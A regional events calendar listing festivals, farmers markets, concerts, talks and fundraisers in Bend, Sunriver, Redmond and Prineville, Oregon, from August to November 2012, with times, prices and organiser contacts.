Benyaro w/ The Harmed Brothers at Horned Hand
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August 16 – 18
Bend Brewfest in the Old Mill District
The Bend Brewfest is a festival that focuses on tasting and enjoying lots of fine craft beers as well as great food.  More than 90 distinct craft beers will be available for public tasting. Be sure to check out the daily schedule for the X-Tap featuring very special, very low production beers from a variety of brewers. Congratulations to Good Life Brewing Co. and Boneyard Beer, the 2011 Bend Brewfest People’s Choice Award winners!  Be sure to vote for your favorite beer this summer at the Brewfest.
Admission is Free and children are welcome until 7pm each night.  For beer tasting you’ll need to make a one-time purchase of a 2012 Brewfest souvenir mug. Tokens are required for each beer tasting and are sold in packs of five at $5. Bend Brewfest will be in full swing Thursday, 3 -11pm; Friday, 3-11pm and Saturday, 12 noon-11pm.  A variety of food is available from our outstanding local vendors. Cash is required for food, mugs and tokens with an ATM on site.  Visit www.bendbrewfest.com for more information or to volunteer at the event.

August 17 MUSIC
Dennis McGregor and friends at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122


August 17 MUSIC
Sunriver Music Festival Concert II
7:30pm Tower Theatre
Schubert Symphony No.5, D.485, B-flat Major
Beethoven Violin Concerto in D Major, Op. 61 featuring Steven Moeckel, violin
Tickets: $60 to $30
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org


 August 17
Oregon’s Earliest Inhabitants
6:30 pm Archaeological Investigations at the Paisley Caves.
Dennis Jenkins, Senior Research Archaeologist, Museum of Natural and Cultural History, University of Oregon
Pozzi Education Center, Sunriver nature Center & Observatory, Sunriver
www.sunrivernaturecenter.org, 541-593-4442
 

August 17 MUSIC
Mosley Wotta with Cloaked Characters at Parilla Grill
Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend. 541-617-9600.  

August 18
Annual Yard Sale at Des Chutes Historical Museum
9am – 4pm on the lawn of the Museum. The annual fundraiser, held by volunteers each year, benefits Museum operations, including collections care, programming and new exhibits. Yard sale planners would appreciate the public donation of gently used items. Please do not donate clothing, shoes, computers or printers, or items that are broken or do not work. If you have items to donate to the sale, would like to volunteer for a few hours, or have questions please call the Des Chutes Historical Museum at 541.389.1813 or email info@deschuteshistory.org.

August 18
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com  


August 18
NorthWest Crossing Farmers Market
10am-2pm, Music by Moon Mountain Ramblers. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

August 18
GoodLife Bend Cycle Classic at GoodLife Brewing Company
The first annual GoodLife Bend Cycle Classic- JDRF family ride will raise money to benefit the Juvenile Diabetes Research Foundation (JDRF – www.jdrf.org), the World leader in funding research to find a cure for Type 1 diabetes. There is a registration fee of $25, and riders are encouraged to raise funds on their own.
http://jdrfevents.donordrive.com/index.cfm?fuseaction=donorDrive.eventDetails&eventID=1542, 503-539-1967.  

 

August 18
High Desert Rendezvous at Horse Butte Equestrian Center
4pm The High Desert Museum’s 23rd Annual High Desert Rendezvous has a new format this year. Popular games and rodeo events from the original Rendezvous, team calf branding Calcutta, fast draw shooting, card games, cowboy dinner, hosted bar, live music and live art auction. Horse Butte Equestrian Center, 60359 Arnold Market Road, Bend. www.highdesertrendezvous.org, 541-382-4754.


August 18 MUSIC
Bradley Wilk and the Charlatans at Horned Hand
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August 18-19
Les Schwab Double-Double Barrel Race at Crook County Fairgrounds
Outdoor Arena, Free , 541-416-9099, www.canchaser.com


August 19 MUSIC
Sunriver Music Festival Piano Recital
7:30pm Great Hall, Sunriver
Steinway Artist Elizabeth Joy Roe
Corigliano Etude Fantasy (1976)
Chopin Nocturne
Beethoven Sonata No.23 in F minor, Op.57 “Appassionata”
Mussorgsky Pictures at an Exhibition
Tickets: $$50 to $30
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org


August 20 MUSIC
Sunriver Music Festival Concert III
7:30pm Great Hall, Sunriver
Bach Brandenburg Concerto No.3, BWV 1048, G Major
Bach Cantata No.61 (Nun komm, der Heiden Heiland [I]
Christopher Theofanidis Muse
Vivaldi Flute Concerto, RV 428 (P.155) Op.10, No.3, D Major “The Goldfinch”
Featuring Adam Kuenzel, flute
Johann Strauss Jr. Waltz “Seid umschlungen, Millionen” , Op.443
Brahms Liebeslieder Waltzes, Op.52
Johann Strauss Jr. Kaiser-Walzer, Op.437 (Emperor Waltzes)
Tickets: $60 to $30
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org


August 20
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.  


August 20
Getting A Good Night Sleep at Redmond Public Library
12pm Tired of counting sheep? Exhausted from tossing and turning waiting for sleep to take you away to dream land? Does the thought of eight hours of solid sleep make you drool? Deschutes Public Library welcomes local physician Dr. Christopher Kelley, DO, to the Downtown Bend and Redmond Public Libraries for presentations about how to sleep better. Both programs are free and open to the public and part of the Deschutes Public Library Adult Summer Reading Program being offered throughout the county. For more information about this or other library programs, please visit the library website at www.deschuteslibrary.org. People with disabilities needing accommodations (alternative formats, seating or auxiliary aides) should contact Liz at 312-1032.

 
August 20
Getting A Good Night Sleep at Bend Public Library
6:30pm Tired of counting sheep? Exhausted from tossing and turning waiting for sleep to take you away to dream land? Does the thought of eight hours of solid sleep make you drool? Deschutes Public Library welcomes local physician Dr. Christopher Kelley, DO, to the Downtown Bend and Redmond Public Libraries for presentations about how to sleep better. Both programs are free and open to the public and part of the Deschutes Public Library Adult Summer Reading Program being offered throughout the county. For more information about this or other library programs, please visit the library website at www.deschuteslibrary.org. People with disabilities needing accommodations (alternative formats, seating or auxiliary aides) should contact Liz at 312-1032.

 

August 21
OBRA Turn-n-Burn Barrel Racing Crook County Fairgrounds
Outdoor Arena, 541-410-9737, Superturbopony@aol.com  

August 21
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

August 21
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

August 22
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

August 22 MUSIC
Michael Franti & Spearhead at Les Schwab
6:30pm, $35 Bend Summer Concerts
Michael Franti & Spearhead will bring their blend of hip hop, funk, reggae, jazz and rock back to Bend for a night of much jumping up and down. Get ready to enjoy Sound of Sunshine, Say Hey (I Love You), People in Tha Middle and I Got Love For You.
Michael Franti and Spearhead are currently working on their eighth studio album, and Franti says it will be a bit of a sonic departure from previous Spearhead efforts. “This album is a lot harder and more aggressive,” Franti tells Rolling Stone. “There are some songs that are just acoustic guitar and nothing else, but the ones that aren’t like that are louder and at times more punk rock, with dance beats to them.” While the band hasn’t decided on an album title yet, Franti says it will arrive sometime in the fall, with a lead single dropping this summer. www.bendconcerts.com

August 22 MUSIC
Sunriver Music Festival Concert IV
7:30pm Great Hall, Sunriver
Beethoven Leonore Overture, No.3
Mozart Piano Concerto No. 20 in D minor, K.466
(with cadenzas written by Beethoven)
featuring Steinway Artist Elizabeth Joy Roe, piano
Beethoven Symphony No. 7 in A Major, Op.92
Tickets: $60 to $30
Sunriver Music Festival PO Box 4308 Sunriver, OR 97707
541-593-9310, 541-593-6959, tickets@sunrivermusic.org, www.sunrivermusic.org

 

August 22 MUSIC
Lisa Dae Jazz at Hola!
7-10pm http://www.holabend.com/
Hola! Downtown location on the corner of Bond and Minnesota. 541-728-0069.

August 22
Picnic in the Park Pioneer Park, Prineville, Oregon
The Coats-A capella
Wednesday evenings, 6-8pm
541-447-6909

August 23-25
Shakespeare in the Park in Drake Park
Romeo & Juliet directed by Jon Kretzu. www.shakespearebend.com

August 24 MUSIC
ZZ Top at Les Schwab
This American blues-rock trio from Texas consists of Billy Gibbons (guitar), Dusty Hill (bass) and Frank Beard (drums). Gibbons is one of America’s finest blues guitarists while Hill and Beard provide the ultimate rythum section. A rock & roll band with its orignal members together for over three decades, their hit songs include Cheap Sunglasses, Gimme All our Lovin’ and Sharp Dressed Man. www.bendconcerts.com

 

August 24 MUSIC
Carrie Nation and the Speakeasy w/ The Whistle Pigs at Horned Hand
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August 24-26
Art in the High Desert

We are a well-juried fine art & craft festival showcasing more than 110 artists selected from across the country and Canada.

Produced by local artists and arts advocates through a non-profit organization
  www.artinthehighdesert.com

August 24-26
Sunriver Stars Community Theater The Brementown Musicians

Featuring Sunriver residents who have a flare for the dramatic and presenting family friendly productions. Ticket sales go to the Sunriver Home Owners Association scholarship program for FAST Camp, an after school enrichment program.
Sponsorships from local businesses will fund our plays and the brand new SHARC is providing our rehearsal and performance space.
The Brementown Musicians: 2pm Friday, Saturday and Sunday, 7pm Saturday
$10 for a front row seat.
$5 for an adult seat= Open seating.
$3 for senior and under 12=Open seating.
www.sunriverstars.com.
Victoria Kristy-Zalewski
Artistic Director
Sunriver Stars Community Theater
dramama@comcast.net  

August 25
Saturday Market downtown Bend
Downtown Bend, across from the Bend Library between Wall Street and Bond Street
www.centraloregonsaturdaymarket.com  

August 25
NorthWest Crossing Farmers Market
10am-2pm, Music by Hilst and Coffey. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

August 25
Central Oregon Pee Wee Rodeo Finals at Crook County Fairgrounds
9am Outdoor Arena, 541-589-5841, www.copwrc.net


August 25 MUSIC
The Autonomics with Cadence at Parilla Grill
Show Us Your Spokes celebrates musical talent in an outdoor venue with discounts for concert goers who pound the pavement or spin their spokes to get there. A $6 per person concert fee is discounted to $5 for anyone who bikes to the concerts at Parilla Grill, located on the Galveston and 14th roundabout on Bend’s Westside. Parilla Grill serves global burrito-style wraps for lunch and dinner, as well as beer, wine and margaritas. 635 NW 14th Street, Bend. 541-617-9600.  

August 25
Last Saturday in the Old Ironworks District
5 – 11pm On the last Saturday of each month, go to 50 Scott St. in Bend, Oregon. There will be fun things happening. Businesses and galleries in the Old Ironworks District celebrate Last Saturdays on the last Saturday of each month. Times vary, but you will find art and music events beginning around 5:00 and going until 11:00 pm.


 August 27
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.
 

August 28
Can Chaser Barrel Racing at Crook County Fairgrounds
Outdoor Arena, Free Information, 541-416-9099, www.canchaser.com  

August 28
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.  

August 28
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

August 29 MUSIC
Jazz Under the Stars at Music in the Canyon
John is a great singer, songwriter from Eugene. He will be joined by his band to play their provocative original music. http://musicinthecanyon.com/

August 29
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com

 
August 29 MUSIC
Eight Dollar Mountain at Pickin’ & Paddlin’
4-10pm Tumalo Creek’s Music Series on the back deck.
Proceeds support the Bend Paddle Trail Alliance, the organization that is working to transform the Colorado Dam into a whitewater recreation area.
Demo boats and stand up paddleboards in the Deschutes River 4-7pm.
805 SW Industrial Way, Suite 6, www.tumalocreek.com, 541-317-9407

August 29
Picnic in the Park Pioneer Park, Prineville, Oregon
The Sugar Beets-Americana
Wednesday evenings, 6-8pm
541-447-6909

August 29 MUSIC
Tartufi Tartufi at Horned Hand
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August 30 MUSIC
Madeleine Peyroux at the Athletic Club of Bend
Hosted by Therapy Works Physical Therapy
Freedom Wellness Peak Summer Nights, Presented by Northwest Brain and Spine, Dr’s Yundt and Hadden (Formerly Clear Summer Nights)
$25 General Admission. Tickets on sale now in-person or charge-by-phone at Newport Avenue Market 541-382-3940 www.c3events.com

August 30 MUSIC
Hobbs Margaret and the Athletic Funk at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122

August 31 MUSIC
Brerit Alan and His Funky Friends at Angeline’s Bakery
www.angelinesbakery.com, 541-549-9122
 
August 31
Know Volunteering-A Volunteer Expo at Sunriver Public Library
10am – 2pm Looking for a way to serve your community?  Stop by the library and visit with over 15 community organizations looking for civic-minded individuals who want to make a positive impact. www.deschuteslibrary.org/sunriver

August 31 – Sept 1
Library Book Sale at Sunriver Library
10am – 7pm 56855 Venture Lane in the Sunriver Business Park. Thousands of books of all kinds, VHSs, DVDs, audio books are available. Hardbacks are $1, paperbacks 50 cents with others as marked. Signed, specialty and collectible books are offered in a Silent Auction closing at 5pm on Friday. Sat, 12 to 5pm at the library, Between 3 and 5pm is a Bag Sale. Fill the provided bag for $3. All proceeds benefit the library. For more information contact Marcia Schonlau at jmschonlau@chamberscable.com. 541-598-7707

September 1 MUSIC
Brandi Carlile at Les Schwab
Brandi Carlile’s music sounds a bit county/rock, with a mix of folk and pop thrown in. It is her voice that has captivated listeners across the musical spectrum. Carlile exhibits a remarkable range: sometimes whispering her soulful, emotive vocals and other times delivering her lyrics with gruff power.
Carlile wanted to get in touch with her country roots with her new album Bear Creek and single Hard Way Home. The album features her longtime bandmates Tim and Phil Hanseroth who co-wrote many of the songs with Carlile and play guitar and bass respectively. www.bendconcerts.com

September 1
NorthWest Crossing Farmers Market
10am-2pm, Music by Trio Brazil. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

September 1-2
Sunfest Wine Festival at SHARC
The new Sunriver Aquatic and Recreation Center will host the festival featuring over 50 wineries, art vendors, live music and great food.
Admittance into the festival is free, but a signature wine glass is required for tastings. Wine will be sold by the taste, glass, bottle and case.  
Please visit www.sunriversunfest.com or call 541-385-7988 for more information about the Festival.
Details: Saturday, Sept. 1, 12pm-7pm, Sunday, Sept. 2, 11pm-6pm


September 3
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.  


September 4
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

September 4
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

September 5
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com

September 7
Bend First Friday Artwalk
5-9pm Downtown Bend, Art galleries and merchants open, many with music and art exhibits. www.CascadeAE.com for complete list of new exhibits.  

September 7 MUSIC
Beer, Back-Alley BBQ, Art & Live Music at Deschutes Brewery
5pm – 9pm, Deschutes Brewery Bend Public House, 1044 NW Bond Street.
Deschutes is back on board for the popular downtown Bend First Friday Art Walk! Deschutes will be participating with a back-alley party May through September 2012. 541-382-9242.

September 7-8
Run to the Cascades Motorcycle Rally
At the Deschutes County Fair & Expo Center Redmond,
Last September saw thousands of people from all over the world gather in Central Oregon to resurrect the Run to the Cascades Motorcycle Rally having last taken place just days after the attacks of 9-11. This event is to remember the lives lost and salute the men and women (past and present) of our military, fire and police departments. Honoring those who sacrifice, So We Can Remain Free.
This years rally will feature headline entertainment in the Hooker Creek Event Center & out door arena, motorcycle contests & Ariel stunts, charity poker run(s) with scenic rides through the deserts and mountains of Central Oregon, Central Oregon Ink Expo with tattoo artists from all over the country, 9-11 memorial/freedom celebration, 9-11 memorial parade, arm wrestling championships, biker build off, many unique vendors and over 30 local & regional bands on the outdoor stage inside the center circle all day everyday.
$15 per person per day, $25 per person for a weekend pass, kids 12 and under will be free. Tent camping will be available inside the fairgrounds for $5 per tent per day. www.runtothecascades.com  


September 8
NorthWest Crossing Farmers Market
10am-2pm, Music by The Sweet Harlots. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

September 8
Second Saturday Art Reception at Artists Gallery Sunriver

4-7 pm You’re invited! Come indulge your creative curiosities and mingle with others during our popular Second Saturday Art Receptions.
57100 Beaver Drive, Sunriver Village, Building 19, 541-593-4382, http://www.artistsgallerysunriver.com/art-receptions.html

September 9
Great Rotary Duck Race at Drake Park
For additional information about this year’s participating charities, sponsors, ticket outlets and event details go to www.theduckrace.com.

September 10
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.

September 10
Poetry Slam at Astro Lounge
The Slam is a regularly occurring event that happens on the second Monday of every month at the Astro Lounge.
8pm, 7:30 sign up 
$3 suggested donation to pay poets
Poets of all kinds welcome!
loudgirlproductions@live.com

September 11 MUSIC
Huey Lewis & the News at Les Schwab
6:30pm, $39-$78 Bend Summer Concerts
Huey Lewis & the News is a San Francisco-based group that has been playing pop rock for three decades. Huey Lewis & the News have a contagious brand of straight-ahead rock n’ roll that has outlasted countless trends, selling over 20 million albums worldwide. The band has a driving, party-hearty spirit with hit songs Workin’ for a Livin, I Want a New Drug, The Heart of Rock & Roll, Hip to Be Square and The Power of Love. www.bendconcerts.com


September 11
Redmond Farmers Market at Centennial Park
2-6:30pm During the summer season Redmond’s Centennial Park comes alive with locally grown and crafted products every Tuesday (thru Sept 11) at the Redmond Farmers Market. This year’s market, will continue to feature farm fresh, locally and Oregon grown products, as well as, showcase wonderful natural products and handmade crafts.
A number of new vendors like Rainshadow Organics and Marquam Hill Berries will increase the variety of organically grown product choices available at this year’s market. It will also feature new hours, opening at 2pm and running until 6:30pm ensuring working professionals have the opportunity to browse and enjoy the market.
The hours are not the only change to this season’s downtown Redmond Farmers Market. The market has been selected by Central Oregon Locavore and Agricultural Connections as a designated product drop-off/pick-up location. Making it even more convenient than ever for our community to connect with and support local farming efforts.
www.downtownredmondmarket.com, Michelle Jiunta, Market Manager at 541-550-0066.

September 11
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

September 12
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

September 15
NorthWest Crossing Farmers Market
10am-2pm, Music by Craig Carothers. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

September 15
Author Mitch Albom at Bend High Auditorium
Bestselling author Mitch Albom author of Tuesdays with Morrie; Five People You’ll Meet in Heaven; Have a Little Faith will present at 6pm in the Bend High School Auditorium. Subscriptions to the series are now available at www.bendticket.com Tickets to the individual author presentations go on sale August 1, 2012.   For more information, visit the Deschutes Public Library Foundation website at www.dplfoundation.org If you would like to volunteer to assist with the Author! Author! series, please contact the Library Foundation at: admin@dplfoundation.org

September 15
Festival of Cultures at Redmond’s Centennial Park
In keeping with its vision of a cohesive community where everyone is valued and empowered to participate and contribute to the health and prosperity of Central Oregon, LCA invites all of Central Oregon to celebrate our greatest asset – our people.
The Festival is an international affair including informational booths set up by Central Oregon residents representing many different cultures from around the world. Also included are local dance troupes, singers, and musicians, ethnic food vendors, and a Kid’s Area. Last year’s inaugural Passport Challenge was a huge hit with the kids, so you can count on seeing that again. And, of course, Oregon’s only community-based Official Citizenship Ceremony, which was added as a signature feature of the event in 2010. Lastly, an open air flea market will round out the event.
Organizers are seeking people with roots in any and all cultures of the world to share their heritage by setting up a free, educational booth. Volunteers are needed to oversee and assist with each area of the event. Craft vendors and anyone wishing to sell items (new or used) or to market their services are encouraged to sign up. To volunteer or participate in this year’s Festival of Cultures, contact Festival Coordinator, Carol Burnett at 610-3075 or carolannburnett@hotmail.com For information in Spanish, call LCA at 382-4366 or info@festivalofcultures.info You can also interact via Facebook.com/FestivalOfCultures.

September 17
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.  

September 18
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

September 19
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

September 19 MUSIC
Polecat at Pickin’ & Paddlin’
4-10pm Tumalo Creek’s Music Series on the back deck.
Proceeds support the Bend Paddle Trail Alliance, the organization that is working to transform the Colorado Dam into a whitewater recreation area.
Demo boats and stand up paddleboards in the Deschutes River 4-7pm.
805 SW Industrial Way, Suite 6, www.tumalocreek.com, 541-317-9407

 September 22
NorthWest Crossing Farmers Market
10am-2pm, Music by Chayag. NorthWest Crossing Neighborhood Center,Bend
Valerie Yost, valerie@brooksresources.com, 541-382-1662
A ripe selection of the region’s best organic artisans in produce, meats, farm fresh eggs, baked goods, skincare and other lifestyle products available for you to explore along the main street of the intimate NorthWest Crossing neighborhood in Bend, Oregon. The participating vendors, musicians and restaurants this season personify our superior quality of life in Bend.  They are masters of their craft, and we are looking forward to kicking it up a notch at NorthWest Crossing.
www.nwxevents.com

September 24
Ambiance Saturday Market, Redmond
10am-5pm 435 SW Evergreen Ave., Redmond Arts and crafts, quality used goods, packaged food items, & plants. Patti 541-504-2623 or info@ambianceartco-op.com.  


September 25
Brookswood Plaza Farmers Market
3-7pm Farm, artisan, craft and other vendor booths.
www.brookswoodmeadowplaza.com

September 26
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com
 

September 26
Third Annual FurBall at Century Center

Get down with hippest cats in Bend at the Third Annual FurBall taking place at Century Center. Join us for an evening of dinner, dancing, beer, wine & live music at Bend Spay’s main fund-raising event of the season, where we will also announce the winner of the 8 Weeks to Wellness Raffle. (Raffle tickets can be purchased on the night of  Furball, as well as the Summerfest Booth.)  Furball tickets are $30.00 & can be purchased from the Clinic – call 541-617-1010.

September 27
What Makes us Human?
6:30 pm How Studying Primate Genomes Helps us Understand Our Own Biology and Evolution
Kristen Sterner, Molecular Anthropology Group, University of Oregon
Hitchcock Auditorium, COCC, Bend
www.sunrivernaturecenter.org, 541-593-4442  


September 29
Last Saturday in the Old Ironworks District
5 – 11pm On the last Saturday of each month, go to 50 Scott St. in Bend, Oregon. There will be fun things happening. Businesses and galleries in the Old Ironworks District celebrate Last Saturdays on the last Saturday of each month. Times vary, but you will find art and music events beginning around 5:00 and going until 11:00 pm.

October 3
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  

October 5
Bend First Friday Artwalk
5-9pm Downtown Bend, Art galleries and merchants open, many with music and art exhibits. www.CascadeAE.com for complete list of new exhibits.  

October 8
Poetry Slam at Astro Lounge
The Slam is a regularly occurring event that happens on the second Monday of every month at the Astro Lounge.
8pm, 7:30 sign up 
$3 suggested donation to pay poets
Poets of all kinds welcome!
loudgirlproductions@live.com

October 9
Shaolin Warriors at the Tower Theatre
Legendary Shaolin monks and Kung Fu masters demonstrate martial arts associated with their famous monastery and Zen philosophy. 541-317-0700, www.towertheatre.org.

October 10
Bend Farmers Market in Brooks Alley
3-7pm Mirror Pond at the top of Drake Park
www.bendfarmersmarket.com  


October 13 MUSIC
Harmony 4 Women at Bend High
www.facebook.com/pages/Harmony-4-Women/284565838389

October 13
Second Saturday Art Reception at Artists Gallery Sunriver

4-7 pm You’re invited! Come indulge your creative curiosities and mingle with others during our popular Second Saturday Art Receptions.
57100 Beaver Drive, Sunriver Village, Building 19, 541-593-4382, http://www.artistsgallerysunriver.com/art-receptions.html

October 19
To Siberia and Beyond
6:30 pm  Studying Human Biology and Health at the Edge of the World
J Josh Snodgrass, Department of Anthropology, University of Oregon
Pozzi Education Center, Sunriver Nature Center & Observatory, Sunriver
www.sunrivernaturecenter.org, 541-593-4442  

October 20
Caldera Fundraiser at Caldera
www.calderaarts.org
 

October 23
Flim: Miss Representation at Bend High School
Saving Grace and BendFilm are bringing the documentary Miss Representation to Bend.
http://www.youtube.com/watch?v=W2UZZV3xU6Q  

October 27
Last Saturday in the Old Ironworks District
5 – 11pm On the last Saturday of each month, go to 50 Scott St. in Bend, Oregon. There will be fun things happening. Businesses and galleries in the Old Ironworks District celebrate Last Saturdays on the last Saturday of each month. Times vary, but you will find art and music events beginning around 5:00 and going until 11:00 pm.

October 30
The Capitol Steps at the Tower Theatre
These equal opportunity offenders make fun of both sides of the aisle with political parodies of well-known songs, including You Can’t Hide This Biden Guy, Help Me Fake It to the Right and If I Tax a Rich Man. 541-317-0700, www.towertheatre.org.

November 2
Bend First Friday Artwalk
5-9pm Downtown Bend, Art galleries and merchants open, many with music and art exhibits. www.CascadeAE.com for complete list of new exhibits.  


November 10
Second Saturday Art Reception at Artists Gallery Sunriver

4-7 pm You’re invited! Come indulge your creative curiosities and mingle with others during our popular Second Saturday Art Receptions.
57100 Beaver Drive, Sunriver Village, Building 19, 541-593-4382, http://www.artistsgallerysunriver.com/art-receptions.html

 

November 12
Poetry Slam at Astro Lounge
The Slam is a regularly occurring event that happens on the second Monday of every month at the Astro Lounge.
8pm, 7:30 sign up 
$3 suggested donation to pay poets
Poets of all kinds welcome!
loudgirlproductions@live.com

November 15
Monkey Business
6:30pm Impact of Global Change on Human and Monkey Evolution in Africa
Stephen R. Frost, Department of Anthropology, University of Oregon
Hitchcock Auditorium, COCC, Bend
www.sunrivernaturecenter.org, 541-593-4442  

November 22
Bend Turkey Trot at Old Mill District
www.smithrockracegroup.com or www.bendturkeytrot.com  

November 24
Last Saturday in the Old Ironworks District
5 – 11pm On the last Saturday of each month, go to 50 Scott St. in Bend, Oregon. There will be fun things happening. Businesses and galleries in the Old Ironworks District celebrate Last Saturdays on the last Saturday of each month. Times vary, but you will find art and music events beginning around 5:00 and going until 11:00 pm.

November 26
Punch Brothers featuring Chris Thile at the Tower Theatre
